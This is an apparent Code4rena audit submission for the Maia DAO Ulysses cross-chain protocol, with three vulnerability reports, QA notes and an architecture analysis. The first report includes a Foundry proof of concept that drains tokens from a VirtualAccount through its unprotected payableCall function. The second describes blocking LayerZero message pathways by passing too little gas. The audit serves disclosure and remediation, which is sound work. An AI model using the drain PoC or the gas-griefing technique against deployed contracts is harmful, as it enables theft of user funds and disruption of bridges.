Maia DAO - Ulysses - kodyvim's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85

Vulnerability details

Impact

All tokens held within a virtual Account can be drained by anyone.

Proof of Concept

Virtual Account are account which allows both user and approved routers to access tokens. but due to missing access control on virtualAccount.payableCall allows anyone to execute arbitrary call on behalf of the contract.

function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {//@audit missing access control
        uint256 valAccumulator;
        uint256 length = calls.length;
        returnData = new bytes[](length);
        PayableCall calldata _call;
        for (uint256 i = 0; i < length;) {
            _call = calls[i];
            uint256 val = _call.value;
            // Humanity will be a Type V Kardashev Civilization before this overflows - andreas
            // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256
            unchecked {
                valAccumulator += val;
            }

            bool success;

            if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);//@audit arbitrary call to any target

            if (!success) revert CallFailed();

            unchecked {
                ++i;
            }
        }

        // Finally, make sure the msg.value = SUM(call[0...i].value)
        if (msg.value != valAccumulator) revert CallFailed();//@audit can be pass zero call.val to bypass.
    }

As you can see anyone drain any ERC721/ERC20 token held within virtual Accounts using the utility payable function. POC

function testAnyoneCanDrainVirtualAccount() public {
        address bob = address(42);
	//mint bob some token
        underlyingToken.mint(bob, 1 ether);
        address attacker = address(1337);

        virtualAccount = new VirtualAccount(bob, address(0));
        PayableCall memory payCall;
        PayableCall[] memory payCall_ = new PayableCall[](1);

        assertEq(virtualAccount.userAddress(), bob);
        //bob transfers tokens to his virtual account
        vm.prank(bob);
        underlyingToken.transfer(address(virtualAccount), 1 ether);
        
        assertEq(underlyingToken.balanceOf(attacker), 0);
	//Attacker can use payableCall to drain the token
        vm.startPrank(attacker);
        payCall.target = address(underlyingToken);
        payCall.callData = abi.encodeWithSignature("transfer(address,uint256)", attacker, 1 ether);
        payCall.value = uint256(0);
        payCall_[0] = payCall;
        virtualAccount.payableCall(payCall_);
        vm.stopPrank();

        assertEq(underlyingToken.balanceOf(attacker), 1 ether);

    }

Tools Used

Manuel Review

Recommended Mitigation Steps

Add requiresApprovedCaller to VirtualAccount.PayableCall

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L280 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L235

Vulnerability details

Impact

Lack of input validation and the ability to specify whatever adapterParams you want would result to blocking the pathway between any two chains. The consequence of this is that anyone with a low cost and high frequency keep on blocking the pathway between any two chains, making the whole system unusable.

Proof of Concept

When sending messages through LayerZero, the sender can specify how much gas he is willing to give to the Relayer to deliver the payload to the destination chain. This configuration is specified in relayer adapter params. The invocations of _performCall inside the agents contracts assumes that it is not possible to specify less than 200k gas on the destination, but in reality, you can pass whatever you want.

function callOutAndBridge(
        address payable _refundee,
        bytes calldata _params,
        DepositInput memory _dParams,
        GasParams calldata _gParams
    ) external payable override lock {//@audit users can provide small amount of gasParam to block channel
        //Cache Deposit Nonce
        uint32 _depositNonce = depositNonce;

        //Encode Data for cross-chain call.
        bytes memory payload = abi.encodePacked(
            bytes1(0x02), _depositNonce, _dParams.hToken, _dParams.token, _dParams.amount, _dParams.deposit, _params
        );

        //Create Deposit and Send Cross-Chain request
        _createDeposit(_depositNonce, _refundee, _dParams.hToken, _dParams.token, _dParams.amount, _dParams.deposit);

        //Perform Call
        _performCall(_refundee, payload, _gParams);
    }

    /// @inheritdoc IBranchBridgeAgent
    function callOutAndBridgeMultiple(
        address payable _refundee,
        bytes calldata _params,
        DepositMultipleInput memory _dParams,
        GasParams calldata _gParams
    ) external payable override lock {
        ...SNIP
        //Create Deposit and Send Cross-Chain request
        _createDepositMultiple(
            _depositNonce, _refundee, _dParams.hTokens, _dParams.tokens, _dParams.amounts, _dParams.deposits
        );

        //Perform Call
        _performCall(_refundee, payload, _gParams);
    }

At _performCall(_refundee, payload, _gParams)

function _performCall(address payable _refundee, bytes memory _payload, GasParams calldata _gParams)
        internal
        virtual
    {
        //Sends message to LayerZero messaging layer
        ILayerZeroEndpoint(lzEndpointAddress).send{value: msg.value}(
            rootChainId,
            rootBridgeAgentPath,
            _payload,
            payable(_refundee),
            address(0),
            abi.encodePacked(uint16(2), _gParams.gasLimit, _gParams.remoteBranchExecutionGas, rootBridgeAgentAddress)//@audit populated with the user provided gas params
        );
    }

The line where it happens inside the LayerZero contract is here, and {gas: _gasLimit} is the gas the sender has paid for. The objective is that due to this small gas passed the transaction reverts somewhere inside the lzReceive function and the message pathway is blocked, resulting in StoredPayload.

Tools Used

Manual Review

Recommended Mitigation Steps

Enforce Minimum gas to send for each and every _performCall should be enough to cover the worst-case scenario for the transaction to cover the last execution in lzReceive

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L1090 https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L651

Vulnerability details

Impact

_hasFallbackToggled would be set to false on createMultipleSettlement regardless of user intentions.

Proof of Concept

Users can specify if they want a fallback on their transaction which prevents the transaction from revert in case of failure. But due to an incorrect flag this would always be set to false. https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L1090

function _createSettlementMultiple(
        uint32 _settlementNonce,
        address payable _refundee,
        address _recipient,
        uint16 _dstChainId,
        address[] memory _globalAddresses,
        uint256[] memory _amounts,
        uint256[] memory _deposits,
        bytes memory _params,
        bool _hasFallbackToggled
    ) internal returns (bytes memory _payload) {
        ...SNIP
        // Prepare data for call with settlement of multiple assets
        _payload = abi.encodePacked(
@>          _hasFallbackToggled ? bytes1(0x02) & 0x0F : bytes1(0x02),
            _recipient,
            uint8(hTokens.length),
            _settlementNonce,
            hTokens,
            tokens,
            _amounts,
            _deposits,
            _params
        );
       ...SNIP
    }

The variable _hasFallbackToggled can be set to true or false depending whether the user wants a fallback or not. if true, the value at the payload index 0 (payload[0]) would be set to bytes1(0x02) & 0x0F but this would still results to bytes1(0x02), otherwise false this would also results to bytes1(0x02). On the destination chain, to check for the fallback status of a transaction. https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L651

function lzReceiveNonBlocking(address _endpoint, bytes calldata _srcAddress, bytes calldata _payload)
        public
        override
        requiresEndpoint(_endpoint, _srcAddress)
    {
	...SNIP
    // DEPOSIT FLAG: 2 (Multiple Settlement)
        } else if (flag == 0x02) {
            // Parse recipient
            address payable recipient = payable(address(uint160(bytes20(_payload[PARAMS_START:PARAMS_START_SIGNED]))));

            // Parse deposit nonce
            nonce = uint32(bytes4(_payload[22:26]));

            //Check if tx has already been executed
            if (executionState[nonce] != STATUS_READY) revert AlreadyExecutedTransaction();

            //Try to execute remote request
            // Flag 2 - BranchBridgeAgentExecutor(bridgeAgentExecutorAddress).executeWithSettlementMultiple(recipient, localRouterAddress, _payload)
            _execute(
@>             _payload[0] == 0x82,
                nonce,
                recipient,
                abi.encodeWithSelector(
                    BranchBridgeAgentExecutor.executeWithSettlementMultiple.selector,
                    recipient,
                    localRouterAddress,
                    _payload
                )
           );
	...SNIP
}

_payload[0] == 0x82 would always be false irrespective of the fallback status chosen by the user. POC: A simple test with chisel

➜ function checkToggle(bool hastoggle) public returns(bytes memory _payload) {
_payload = abi.encodePacked(hastoggle ? bytes1(0x02) & 0x0F : bytes1(0x02));
}
➜ function test() public returns(bool) {
bytes memory payload = checkToggle(true);
return payload[0] == 0x82;
}
➜ bool check = test()
➜ check
Type: bool
└ Value: false//<@ should be true
➜ function test2() public returns(bool) {
bytes memory payload = checkToggle(false);
return payload[0] == 0x82;
}
➜ check = test2()
Type: bool
└ Value: false//<@ always false

This would results to unexpected behaviors and issues with integrations.

Tools Used

Manual Review

Recommended Mitigation Steps

change the following line to:

function _createSettlementMultiple(
        uint32 _settlementNonce,
        address payable _refundee,
        address _recipient,
        uint16 _dstChainId,
        address[] memory _globalAddresses,
        uint256[] memory _amounts,
        uint256[] memory _deposits,
        bytes memory _params,
        bool _hasFallbackToggled
    ) internal returns (bytes memory _payload) {
        // Check if valid length
        if (_globalAddresses.length > MAX_TOKENS_LENGTH) revert InvalidInputParamsLength();

        // Check if valid length
        if (_globalAddresses.length != _amounts.length) revert InvalidInputParamsLength();
        if (_amounts.length != _deposits.length) revert InvalidInputParamsLength();

        //Update Settlement Nonce
        settlementNonce = _settlementNonce + 1;

        // Create Arrays
        address[] memory hTokens = new address[](_globalAddresses.length);
        address[] memory tokens = new address[](_globalAddresses.length);

        for (uint256 i = 0; i < hTokens.length;) {
            // Populate Addresses for Settlement
            hTokens[i] = IPort(localPortAddress).getLocalTokenFromGlobal(_globalAddresses[i], _dstChainId);
            tokens[i] = IPort(localPortAddress).getUnderlyingTokenFromLocal(hTokens[i], _dstChainId);

            // Avoid stack too deep
            uint16 destChainId = _dstChainId;

            // Update State to reflect bridgeOut
            _updateStateOnBridgeOut(
                msg.sender, _globalAddresses[i], hTokens[i], tokens[i], _amounts[i], _deposits[i], destChainId
            );

            unchecked {
                ++i;
            }
        }

        // Prepare data for call with settlement of multiple assets
        _payload = abi.encodePacked(
-           _hasFallbackToggled ? bytes1(0x02) & 0x0F : bytes1(0x02),
+           _hasFallbackToggled ? bytes1(0x82) : bytes1(0x02),
            _recipient,
            uint8(hTokens.length),
            _settlementNonce,
            hTokens,
            tokens,
            _amounts,
            _deposits,
            _params
        );

        // Create and Save Settlement
        // Get storage reference
        Settlement storage settlement = getSettlement[_settlementNonce];

        // Update Setttlement
        settlement.owner = _refundee;
        settlement.recipient = _recipient;
        settlement.hTokens = hTokens;
        settlement.tokens = tokens;
        settlement.amounts = _amounts;
        settlement.deposits = _deposits;
        settlement.dstChainId = _dstChainId;
        settlement.status = STATUS_SUCCESS;
    }

Assessed type

Error

QA Report

_checkTimelimit should also round down block.timestamp to the nearest days

checkTimeLimit checks if a Port Strategy has reached its daily management limit While lastManaged is rounded down to the nearest day then substracted from block.timestamp, block.timestamp is not rounded down to the nearest day. This would results in a situation where the daily limit could be reset earlier than expected. Round block.timestamp before substraction. https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchPort.sol#L487

function _checkTimeLimit(address _token, uint256 _amount) internal {
        uint256 dailyLimit = strategyDailyLimitRemaining[msg.sender][_token];
@>        if (block.timestamp - lastManaged[msg.sender][_token] >= 1 days) {//@audit round block.timestamp to the nearest day as well
            dailyLimit = strategyDailyLimitAmount[msg.sender][_token];
            unchecked {
@>              lastManaged[msg.sender][_token] = (block.timestamp / 1 days) * 1 days;
            }
        }
        strategyDailyLimitRemaining[msg.sender][_token] = dailyLimit - _amount;
    }

Redundant implementation should be removed

https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L434

function redeemDeposit(uint32 _depositNonce) external override lock {
        // Get storage reference
        Deposit storage deposit = getDeposit[_depositNonce];

        // Check Deposit
        if (deposit.status == STATUS_SUCCESS) revert DepositRedeemUnavailable();
        if (deposit.owner == address(0)) revert DepositRedeemUnavailable();
        if (deposit.owner != msg.sender) revert NotDepositOwner();

        // Zero out owner
@>      deposit.owner = address(0);

        // Transfer token to depositor / user
        for (uint256 i = 0; i < deposit.tokens.length;) {
            _clearToken(msg.sender, deposit.hTokens[i], deposit.tokens[i], deposit.amounts[i], deposit.deposits[i]);

            unchecked {
                ++i;
            }
        }

        // Delete Failed Deposit Token Info
 @>       delete getDeposit[_depositNonce];
    }

• deposit.owner would be zero-ed out after deletion of the getDeposit mapping

Allow users to specify token recipient

https://github.com/code-423n4/2023-09-maia/blob/main/src/ArbitrumBranchBridgeAgent.sol#L69

function depositToPort(address underlyingAddress, uint256 amount) external payable lock {
        IArbPort(localPortAddress).depositToPort(msg.sender, msg.sender, underlyingAddress, amount);
    }

https://github.com/code-423n4/2023-09-maia/blob/main/src/ArbitrumBranchBridgeAgent.sol#L79

solidity
function withdrawFromPort(address localAddress, uint256 amount) external payable lock {
        IArbPort(localPortAddress).withdrawFromPort(msg.sender, msg.sender, localAddress, amount);
    }

hardcoding recipient as msg.sender may not be desirable in most cases for instance the current account might have been blocklisted by the receiving token.

Maia DAO - Ulysses Analysis Report

Mechanism review

Ports for Omnichain Architecture: Ports are the foundational components of the protocol's omnichain architecture. They act as liquidity repositories responsible for managing and retaining capital deposited on each different chain where Ulysses operates. https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchPort.sol#L17 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootPort.sol#L16 Mechanism: Ports serve as vaults with single-asset pools for each omnichain token active on a given chain. When users interact with Ports to deposit or withdraw assets, no protocol fees are charged from user assets. Ports are categorized into Branch Ports for individual chains and a Root Port on the Root Chain for global management.

Virtualized Liquidity: Virtualized liquidity is a core concept of the Ulysses Protocol. It involves connecting Ports within a Pool and Spoke architecture, comprising the Root Chain and multiple Branch Chains. This concept ensures that assets deposited on one chain are recognized as distinct from the same assets on different chains. Mechanism: The protocol maintains token balances and address mappings across different chains to achieve virtualized liquidity. This involves complex bookkeeping to ensure assets are tracked accurately across the ecosystem.

Arbitrary Cross-Chain Execution: Ulysses Protocol enables arbitrary cross-chain execution through a set of expandable routers, such as the Multicall Root Router, which can be permissionlessly deployed through Bridge Agent Factories. These routers facilitate secure asset movement between chains. https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol#L57 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L32 https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L45 Mechanism: The routers and bridge agents are implemented as smart contracts and are responsible for ensuring the proper movement of assets and data between chains. This involves complex data parsing and cryptographic operations to maintain security during cross-chain transactions.

Virtual Account for dApps in Arbitrum: The Virtual Account simplifies user balance management for dApps operating in the Arbitrum root chain environment. It allows users to access their balances and interact with Arbitrum-based dApps from other chains. https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L17 Mechanism: The Virtual Account is implemented as a smart contract and is integrated with the Ulysses branch chain and Arbitrum. It maintains user balances, allowing them to perform various actions like token swapping, liquidity provision, and yield farming within Arbitrum-based dApps.

Codebase quality analysis

Very Neat and Tide codebase!

Systemic risks

Cross-Chain Risks: As a multichain protocol, Ulysses operates on multiple blockchain networks. Risks related to interoperability and cross-chain interactions can be a concern. If there are issues with cross-chain communication, asset movement, or protocol compatibility, it can have systemic implications across the supported chains.

Chain-Specific Vulnerabilities: Each blockchain within the Ulysses ecosystem may have its own unique vulnerabilities or issues. A vulnerability on one chain can potentially affect the assets or operations that are bridged to other chains.

Liquidity Fragmentation: Managing liquidity across multiple chains can be challenging. If liquidity becomes fragmented or imbalanced on certain chains, it can impact the efficiency and effectiveness of the protocol as a whole.

Oracles Across Chains: If Ulysses relies on oracles that provide data from various chains, inaccuracies or manipulation of data from any of these oracles can affect the integrity of the entire system.

Chain-Specific Market Risks: Each blockchain may experience different market conditions and price volatility. Market downturns or extreme price movements on one chain can influence the value of assets and the behavior of users on that chain, potentially affecting the entire protocol.

Centralization risks

Governance Centralization: critical functionalities are controlled by on-chain governance, if governance mechanism is concentrated in the hands of a small number of individuals or entities, it can lead to decision-making that does not reflect the broader community's interests. centralization of governance can result in protocol changes that benefit a few at the expense of others.

Token Distribution: If a significant portion of tokens is held by a small number of entities, they can exert substantial influence over the protocol's direction and decisions.

Developer Centralization: If a small group of developers or a single development team has a monopoly on protocol development, it can lead to a lack of diversity in ideas and potential conflicts of interest.

Architecture recommendations

• Although reorgs attacks are handled by LayerZero including the hashing and mapping the deposit info to a specific user would also provide greater security.
• When dealing with Multi-chain transactions it would be best to allow users to provide the intended recipient rather than hardcoding to msg.sender

Approach taken in evaluating the codebase

• Read through the provided docs.
• Skim through the repos provided and take note of relevant points.
• Write simple POCs to verify/clarify any doubt either using chisel or forge test.
• Proceed with quality assurance (QA) and report writing.

Time spent:

105 hours